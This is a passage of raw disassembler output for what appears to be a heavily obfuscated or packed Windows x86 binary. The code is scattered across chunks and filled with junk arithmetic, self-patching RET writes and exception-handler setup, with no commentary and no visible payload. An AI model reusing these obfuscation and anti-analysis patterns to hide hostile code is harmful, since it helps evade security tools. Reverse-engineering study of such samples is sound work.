; ---------------------------------------------------------------------------

loc_43DD6D:				; CODE XREF: y22d6.y.:0044A5D0j
		jmp	loc_43D6BB
; ---------------------------------------------------------------------------

loc_43DD72:				; CODE XREF: y22d6.y.:0043813Cj
		jz	loc_43A490

; =============== S U B	R O U T	I N E =======================================



sub_43DD78	proc near		; CODE XREF: y22d6.y.:004439F1p
		xchg	eax, [esp+0]
		pop	eax

loc_43DD7C:				; CODE XREF: y22d6.y.:0043BD57j
		mov	ds:off_41E1FC, eax
		call	sub_44B144
sub_43DD78	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43704E

loc_43DD87:				; CODE XREF: sub_43704E+16F05j
		jmp	sub_449ECF
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD3

loc_43DD8C:				; CODE XREF: sub_43CBD3-56B1j
		jmp	loc_43AC6E
; END OF FUNCTION CHUNK	FOR sub_43CBD3
; ---------------------------------------------------------------------------

loc_43DD91:				; CODE XREF: y22d6.y.:00444592j
		cdq
		mov	ebp, edi

loc_43DD94:				; CODE XREF: y22d6.y.:0044C217j
		and	eax, 415FE791h
		cmp	eax, 4A057D83h
		jmp	loc_444659
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43DDA5:				; CODE XREF: sub_449641-FE74j
		push	edx

loc_43DDA6:				; CODE XREF: sub_43B252:loc_44E511j
		mov	eax, 1D403CB1h
		call	sub_43F7FF
		call	sub_43C5EE
		jmp	ds:off_41E218
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9C6

loc_43DDBB:				; CODE XREF: sub_444427:loc_43E2B8j
					; sub_43A9C6:loc_4409BEj ...
		jo	loc_441EBE
		push	offset loc_44495C
		jmp	nullsub_39
; END OF FUNCTION CHUNK	FOR sub_43A9C6
; ---------------------------------------------------------------------------

loc_43DDCB:				; CODE XREF: y22d6.y.:00437A72j
		jp	loc_43A35F
		add	ebp, 1C6CE5BDh
		jmp	loc_44E661
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B201

loc_43DDDC:				; CODE XREF: sub_43B201:loc_43B20Bj
		jl	loc_446019
; END OF FUNCTION CHUNK	FOR sub_43B201
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43DDE2:				; CODE XREF: sub_44633F-5BD3j
		jmp	sub_44B674
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
		jbe	loc_4429CA
		xchg	edx, [ebx]
		add	ebx, esi
		jmp	loc_446013
; ---------------------------------------------------------------------------

loc_43DDF6:				; CODE XREF: y22d6.y.:loc_4443DEj
		add	eax, 9507A721h
		xchg	eax, [esp]
		jmp	sub_44D293
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D43E

loc_43DE04:				; CODE XREF: sub_44D43E+7j
		mov	large fs:0, esp
		mov	eax, [eax]
		mov	eax, 1
		jmp	loc_44D433
; END OF FUNCTION CHUNK	FOR sub_44D43E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	eax, offset nullsub_4
		mov	byte ptr [eax],	0C3h
		call	sub_43760A
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43DE25:				; CODE XREF: sub_4432B8+10Cj
		jnz	loc_43C77F
		mov	edx, 0A22F8A70h
		jmp	loc_4464D7
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_43DE35:				; CODE XREF: sub_44B489-109D5j
		pop	ebx
		rol	eax, 0Bh
		add	eax, 832334D5h
		add	eax, ebp
		push	edx
		push	2DE84716h
		jmp	loc_43FF81
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
		shr	ebx, 1
		jmp	loc_43E600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438DAA

loc_43DE53:				; CODE XREF: sub_438DAA:loc_444618j
		add	eax, 0C5423878h
		sub	eax, 0E2B98EEh
		add	eax, 450936DBh
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_4445A2
; END OF FUNCTION CHUNK	FOR sub_438DAA
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		jmp	loc_43E1A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A53A

loc_43DE75:				; CODE XREF: sub_44A53A-93DDj
		test	ecx, 4F4FB99h
		jmp	loc_44D2D4
; END OF FUNCTION CHUNK	FOR sub_44A53A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442266

loc_43DE80:				; CODE XREF: sub_442266:loc_4413B9j
		jz	loc_44AB8B

loc_43DE86:				; CODE XREF: y22d6.y.:loc_443B87j
		inc	[ebp+var_8]

loc_43DE89:				; CODE XREF: sub_442266:loc_440B36j
					; sub_442266+893Fj
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_442266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED4E

loc_43DE90:				; CODE XREF: sub_43ED4E+CB81j
		jmp	loc_443FA4
; END OF FUNCTION CHUNK	FOR sub_43ED4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4380CD

loc_43DE95:				; CODE XREF: sub_4380CD+1j
		jmp	loc_448587
; END OF FUNCTION CHUNK	FOR sub_4380CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440543

loc_43DE9A:				; CODE XREF: sub_440543+Fj
		push	46C21574h
		pop	eax
		sub	eax, 187FABCAh
		rol	eax, 0Ch
		add	eax, 0D9A90F95h
		call	sub_440E77
; END OF FUNCTION CHUNK	FOR sub_440543
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43DEB4:				; CODE XREF: sub_44633F+4A17j
		jmp	loc_43BF40
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44921D

loc_43DEB9:				; CODE XREF: sub_44921D+Dj
		jmp	loc_448B66
; END OF FUNCTION CHUNK	FOR sub_44921D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E14

loc_43DEBE:				; CODE XREF: sub_444E14+1Cj
		jmp	loc_445C7A
; END OF FUNCTION CHUNK	FOR sub_444E14
; ---------------------------------------------------------------------------
		test	ebx, 9BB113CCh
		jmp	loc_449CE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DC7

loc_43DECE:				; CODE XREF: sub_441DC7-6366j
					; sub_441DC7-635Dj ...
		xor	ebx, ebx

loc_43DED0:				; CODE XREF: sub_441DC7+Aj
		mov	eax, ebx
		pop	ecx
		push	offset loc_43FB13
		jmp	loc_44310A
; END OF FUNCTION CHUNK	FOR sub_441DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9C6

loc_43DEDD:				; CODE XREF: sub_43A9C6+7j
		mov	eax, [esp-4+arg_0]
		push	edx
		nop
		mov	eax, 6FDE1A91h
		call	sub_43CA1A
		jmp	sub_44997F
; END OF FUNCTION CHUNK	FOR sub_43A9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_43DEF1:				; CODE XREF: sub_43A6E1+8A0Fj
		jge	loc_43F731
		and	esi, edx
		jb	loc_43AE07
		jmp	loc_43ACB5
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43DF04:				; CODE XREF: sub_448EB6-A67Aj
		add	ebx, ebp
		jmp	loc_438F00
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440330

loc_43DF0B:				; CODE XREF: sub_440330+5D23j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
; END OF FUNCTION CHUNK	FOR sub_440330
; START	OF FUNCTION CHUNK FOR sub_440280

loc_43DF14:				; CODE XREF: sub_440280+1DEEj
		jz	loc_438F00
		jmp	loc_44B275
; END OF FUNCTION CHUNK	FOR sub_440280

; =============== S U B	R O U T	I N E =======================================



sub_43DF1F	proc near		; CODE XREF: sub_4383E0+13273p
					; y22d6.y.:0044D476j

; FUNCTION CHUNK AT 00438245 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043D9FE SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ecx

loc_43DF24:				; CODE XREF: y22d6.y.:loc_447363j
		push	0EBA35C13h
		pop	ecx
		rol	ecx, 10h
		jmp	loc_438245
sub_43DF1F	endp

; ---------------------------------------------------------------------------

loc_43DF32:				; CODE XREF: y22d6.y.:00438F86j
		jle	loc_44BBE4
		cdq
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_43DF39:				; CODE XREF: sub_43CBF3:loc_438F6Ej
		add	ebx, 5030AC3Ah
		xchg	ebx, [esp+8+var_8]
		jmp	sub_44ABC9
; END OF FUNCTION CHUNK	FOR sub_43CBF3
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
dword_43DF48	dd 0			; DATA XREF: sub_439051+6r
					; sub_439051:loc_443683r
; ---------------------------------------------------------------------------

loc_43DF4C:				; CODE XREF: y22d6.y.:0043F970j
		jmp	locret_440FB8
; ---------------------------------------------------------------------------

loc_43DF51:				; CODE XREF: y22d6.y.:0043BFD6j
		jmp	loc_43B9A0

; =============== S U B	R O U T	I N E =======================================



sub_43DF56	proc near		; CODE XREF: sub_405231+4Dp
					; DATA XREF: r69pu5ti:off_41E008o

; FUNCTION CHUNK AT 0043AEC8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044378D SIZE 00000005 BYTES

		jns	loc_43AEC8
		push	offset loc_445708
		jmp	loc_44378D
sub_43DF56	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6F

loc_43DF66:				; CODE XREF: sub_438A6F+8j
		push	eax
		push	413EFE85h
		pop	eax
		sub	eax, ds:4000E9h

loc_43DF73:				; CODE XREF: y22d6.y.:loc_43FF15j
		add	eax, 7E58752Eh
		add	eax, ebp
		jmp	loc_43C59C
; END OF FUNCTION CHUNK	FOR sub_438A6F
; ---------------------------------------------------------------------------

loc_43DF80:				; CODE XREF: y22d6.y.:004409D6j
		push	esi
		jmp	loc_440F95
; ---------------------------------------------------------------------------

loc_43DF86:				; CODE XREF: y22d6.y.:0043D096j
		pop	ebp
		jno	loc_4406E6
		mov	eax, [esp]
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		jmp	loc_446E22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440943

loc_43DF9B:				; CODE XREF: sub_440943+8111j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44C4D2
; END OF FUNCTION CHUNK	FOR sub_440943
; ---------------------------------------------------------------------------
		call	nullsub_309
		jmp	ds:dword_41E15C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44540D

loc_43DFAE:				; CODE XREF: sub_44540D+14j
		jmp	loc_44DE1F
; END OF FUNCTION CHUNK	FOR sub_44540D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_309. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	al, 24h
		mov	edx, esi
		pop	esi
		jno	loc_44CC4D
		mov	eax, [esp]
		jmp	loc_43C77A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_43DFC7:				; CODE XREF: sub_43F501+890Dj
		call	sub_43F35E
; END OF FUNCTION CHUNK	FOR sub_43F501
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_43DFCC:				; CODE XREF: sub_448C77-6E5Ej
		jz	loc_439BAC
		jmp	loc_44B4EE
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_43DFD7:				; CODE XREF: sub_43C65F+ECC6j
		popf
		jmp	loc_440895
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43DFDD:				; CODE XREF: sub_44AEDA:loc_445EFEj
		or	ecx, 81F6DF51h
		sub	ecx, 6554DBB3h
		xor	ecx, 0C762FB98h
		add	ecx, ebp
		add	ecx, 0B63F0796h
		mov	ecx, [ecx]
		jmp	loc_4476C8
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------

locret_43DFFE:				; CODE XREF: y22d6.y.:0044CF87j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_43DFFF:				; CODE XREF: sub_44B635-29E1j
		jmp	loc_4434FA
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_43E004:				; CODE XREF: sub_43B7B5+1E20j
		jmp	loc_44AD1C
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CB

loc_43E009:				; CODE XREF: sub_4416CB-7ED4j
		jmp	sub_447CBE
; END OF FUNCTION CHUNK	FOR sub_4416CB
; ---------------------------------------------------------------------------
		cdq
		sbb	edx, 0D8610F47h
		jmp	sub_449956
; ---------------------------------------------------------------------------

loc_43E01A:				; DATA XREF: sub_43CBF3+F8EBo
		push	4143034Fh
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_440494

loc_43E020:				; CODE XREF: sub_440494:loc_43D996j
		and	ecx, 376E9EA4h
		xor	ecx, 0A8AB0852h
		add	ecx, 565A980Eh
		jmp	loc_438EC0
; END OF FUNCTION CHUNK	FOR sub_440494

; =============== S U B	R O U T	I N E =======================================



sub_43E037	proc near		; DATA XREF: y22d6.y.:0044A17Do

; FUNCTION CHUNK AT 0043904C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AB03 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004423AE SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044A05C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044AABB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044D25D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D84F SIZE 00000018 BYTES

		mov	[edi], eax
		pop	edi
		push	805FA7E1h
		pop	eax
		rol	eax, 8
		jmp	loc_4423AE
sub_43E037	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	ecx, esi
		jmp	loc_43EC1A
; ---------------------------------------------------------------------------
		jge	loc_443404
		jmp	loc_442C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_43E05A:				; CODE XREF: sub_44BBBA-C15Fj
		jbe	loc_43C7CB
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; START	OF FUNCTION CHUNK FOR sub_44A095

loc_43E060:				; CODE XREF: sub_44BBBA:loc_438D9Fj
					; sub_44A095:loc_443B0Aj
		lea	eax, [ebp-12Dh]
		push	eax
		call	sub_44C171
		push	edi
		jmp	loc_447605
; END OF FUNCTION CHUNK	FOR sub_44A095
; ---------------------------------------------------------------------------

loc_43E072:				; DATA XREF: sub_43FF1B+786Fo
		xchg	esi, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3B1

loc_43E07A:				; CODE XREF: sub_44D3B1-887Aj
		test	esi, 0F27033A2h
		jmp	loc_44904E
; END OF FUNCTION CHUNK	FOR sub_44D3B1
; ---------------------------------------------------------------------------

loc_43E085:				; CODE XREF: y22d6.y.:loc_441944j
		sbb	edi, 89CCDFB4h
		or	esi, 65A51A26h
		jmp	loc_448C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43E096:				; CODE XREF: sub_43B09B:loc_438A4Bj
		mov	byte ptr [eax],	0C3h
		jmp	loc_438F12
; END OF FUNCTION CHUNK	FOR sub_43B09B

; =============== S U B	R O U T	I N E =======================================



sub_43E09E	proc near		; CODE XREF: sub_403249+298p
					; sub_43E09E+5j
					; DATA XREF: ...
		call	sub_43E0A9
		jmp	ds:off_41E060
sub_43E09E	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E0A9	proc near		; CODE XREF: sub_43E09Ep
					; y22d6.y.:loc_4459DDj	...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439356 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A89E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AE64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443C4E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444F50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BA17 SIZE 0000000A BYTES

		jb	loc_44BA17
		xchg	eax, [esp+0]
		mov	edx, eax
		jmp	loc_43A89E
sub_43E0A9	endp

; ---------------------------------------------------------------------------

loc_43E0B9:				; CODE XREF: y22d6.y.:00440E05j
		jl	loc_449234
; START	OF FUNCTION CHUNK FOR sub_439C3E

loc_43E0BF:				; CODE XREF: sub_439C3E+13j
		jmp	sub_44633F
; END OF FUNCTION CHUNK	FOR sub_439C3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_43E0C4:				; CODE XREF: sub_437FD8+11j
		jmp	loc_442395
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------
		mov	eax, [ebx]
		ror	edi, 1Eh
		jmp	loc_44922F
; ---------------------------------------------------------------------------

loc_43E0D3:				; CODE XREF: y22d6.y.:0043A26Fj
		pop	ebx
		and	ebx, 0DB99F065h
		add	ebx, 66426107h
		xchg	ebx, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
		push	edi
		call	sub_445E41
; START	OF FUNCTION CHUNK FOR sub_44D460

loc_43E0EE:				; CODE XREF: sub_44D460-CC39j
		jmp	loc_4416A4
; END OF FUNCTION CHUNK	FOR sub_44D460
; ---------------------------------------------------------------------------

loc_43E0F3:				; CODE XREF: y22d6.y.:0043EF86j
		jmp	nullsub_309
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_43E0F8:				; CODE XREF: sub_43BEF7:loc_438CBBj
		xor	al, al
		or	eax, eax
		call	sub_43A1BC

locret_43E101:				; CODE XREF: y22d6.y.:loc_44C4C3j
		retn
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
		mov	eax, 0F34E90C0h
		call	sub_43CA1A
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		push	0FDA9F687h
		pop	ecx
		jmp	loc_43E1FA
; ---------------------------------------------------------------------------

loc_43E11D:				; CODE XREF: y22d6.y.:004387C2j
		jz	loc_44804C
		cmp	edx, 98AB1A36h
		jmp	loc_437B6E
; ---------------------------------------------------------------------------
		call	sub_448802
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_43E134:				; CODE XREF: sub_439A90+12463j
		jmp	loc_43BBAC
; END OF FUNCTION CHUNK	FOR sub_439A90

; =============== S U B	R O U T	I N E =======================================



sub_43E139	proc near		; CODE XREF: sub_448EB6-E2D3p
					; sub_448EB6+90j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A0FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BEB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DCE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F4E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F507 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00443CF1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444E9A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044E334 SIZE 00000008 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_43BEB6
sub_43E139	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	esi, 7A5926FFh
		jmp	sub_442E7D
; ---------------------------------------------------------------------------

loc_43E150:				; DATA XREF: sub_43AC5C:loc_446F8Do
		rol	eax, 4
		push	eax

locret_43E154:				; CODE XREF: y22d6.y.:0043CB71j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D5

loc_43E155:				; CODE XREF: sub_4400D5-4077j
		jmp	nullsub_338
; END OF FUNCTION CHUNK	FOR sub_4400D5

; =============== S U B	R O U T	I N E =======================================



sub_43E15A	proc near		; CODE XREF: sub_4481AF:loc_43AC46p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044273F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00443619 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00445167 SIZE 00000005 BYTES

		push	ebp
		call	sub_43C242

loc_43E160:				; CODE XREF: sub_442978+Bj
		jmp	loc_443619
sub_43E15A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43E165	proc near		; DATA XREF: y22d6.y.:0043F376o
		push	ebx
		push	0C8A30D48h
		pop	ebx
		and	ebx, 0EEB224B3h
		call	sub_44867D

loc_43E177:				; CODE XREF: y22d6.y.:00439DA4j
		mov	[ecx], eax
		pop	ecx
		push	offset sub_43BA24
		jmp	nullsub_366
sub_43E165	endp

; ---------------------------------------------------------------------------

loc_43E184:				; CODE XREF: y22d6.y.:0044954Fj
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_43E185	proc near		; CODE XREF: sub_442770:loc_43871Fp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00437188 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00437B30 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043858A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00438ABA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00438EF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439252 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043953F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00439DD9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043B296 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441F2E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442CA1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443FAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444A7D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004456E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445933 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00445A93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448E13 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044919A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044AEA0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DA63 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044E4B8 SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	ebx, ebp
		add	ebx, 711DEC79h
		jmp	loc_438EF1
sub_43E185	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43E196	proc near		; DATA XREF: sub_439051+96FDo
		call	sub_4481AF
		mov	ds:dword_4413E8, eax
		call	sub_43E7D1

loc_43E1A5:				; CODE XREF: y22d6.y.:0043DE70j
					; y22d6.y.:loc_449CE5j
		jmp	sub_43DA5D
sub_43E196	endp

; ---------------------------------------------------------------------------

loc_43E1AA:				; CODE XREF: y22d6.y.:0043F4ABj
		mov	[edx], eax
		ror	edi, 0Ch
; START	OF FUNCTION CHUNK FOR sub_44B27F

loc_43E1AF:				; CODE XREF: sub_44B27F-BDE1j
		call	sub_448D3D

loc_43E1B4:				; CODE XREF: sub_44E63C-74C7j
		pushf
		xchg	ecx, ebx
		jbe	sub_44540D
		jmp	loc_44BFB9
; END OF FUNCTION CHUNK	FOR sub_44B27F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_43E1C3:				; CODE XREF: sub_43B98D+AB7Ej
		jmp	loc_442215
; END OF FUNCTION CHUNK	FOR sub_43B98D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43E1C9:				; CODE XREF: y22d6.y.:0044DC36j
		xor	edx, 0E108ADA5h
		jns	loc_4452F2
		jl	loc_4404EC

loc_43E1DB:				; CODE XREF: y22d6.y.:loc_43D5DAj
		push	17A51968h
		pop	eax
		sub	eax, 0C94D40FBh
		jmp	loc_43B4FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43E1EC:				; CODE XREF: sub_448EB6:loc_44040Aj
		add	eax, 0D47BFFDh

loc_43E1F2:				; CODE XREF: sub_4398FF:loc_43991Aj
		push	ebx
		push	eax
		pop	ebx
		jmp	loc_449DA7
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43E1FA:				; CODE XREF: y22d6.y.:0043E118j
		xor	ecx, 60BD6060h
		or	ecx, 0B61367A6h
		rol	ecx, 0Ch
		add	ecx, 80C36537h
		mov	[ecx], eax
		jmp	loc_43B8A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_43E216:				; CODE XREF: sub_44B674:loc_442AA6j
		jnz	loc_444ECD
		jmp	loc_438527
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_43E221:				; CODE XREF: sub_44B81B+6j
		xchg	ebx, [esp-4+arg_0]
		mov	edx, ebx
		pop	ebx

loc_43E227:				; CODE XREF: sub_43A3A9:loc_44D546j
		mov	eax, [esp-8+arg_4]
		push	edx
		push	esi
		jmp	loc_43737F
; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------

locret_43E231:				; CODE XREF: y22d6.y.:004471B4j
		retn
; ---------------------------------------------------------------------------

loc_43E232:				; CODE XREF: y22d6.y.:0044DEC8j
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C222

loc_43E237:				; CODE XREF: sub_44C222+Cj
		jmp	loc_43C349
; END OF FUNCTION CHUNK	FOR sub_44C222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_43E23C:				; CODE XREF: sub_4450FD+7582j
		jb	loc_44C0B2
		mov	[esi], ebp
		jmp	loc_44DEEB
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
		push	eax
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_43E24A:				; CODE XREF: sub_43F501:loc_443E32j
		ror	eax, 0Eh
		push	edx
		push	0E19F5B4h
		pop	edx
		jmp	loc_43B7E0
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43E259:				; CODE XREF: sub_43B09B:loc_43A6F3j
		or	ebx, 0B39D859Eh
		not	eax
		popf
		sbb	edi, 80E952F0h
		jmp	loc_44401F
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_43E26D:				; CODE XREF: sub_43C7C1:loc_4401F0j
		jnz	loc_437223
		cdq
		jbe	loc_43F081
		js	loc_443D1D
		jmp	loc_437222
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC1A

loc_43E285:				; CODE XREF: sub_43CC1A:loc_43E482j
		or	edx, edx
		jz	nullsub_143

loc_43E28D:				; CODE XREF: sub_43CC1A+727Dj
					; sub_44808E+4j
		jno	loc_44809D
		push	eax
		push	0
		jmp	loc_44D1D1
; END OF FUNCTION CHUNK	FOR sub_43CC1A
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_43D5B8
; ---------------------------------------------------------------------------
		push	0FFFFFFFFh
		call	sub_4414E8

loc_43E2A8:				; CODE XREF: y22d6.y.:00444124j
		jmp	loc_441678
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D8E0

loc_43E2AD:				; CODE XREF: sub_43D8E0+Fj
		jmp	nullsub_364
; END OF FUNCTION CHUNK	FOR sub_43D8E0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43E2B3:				; CODE XREF: y22d6.y.:004480D0j
		jmp	loc_439376
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_43E2B8:				; CODE XREF: sub_444427-256Ej
		jmp	loc_43DDBB
; END OF FUNCTION CHUNK	FOR sub_444427
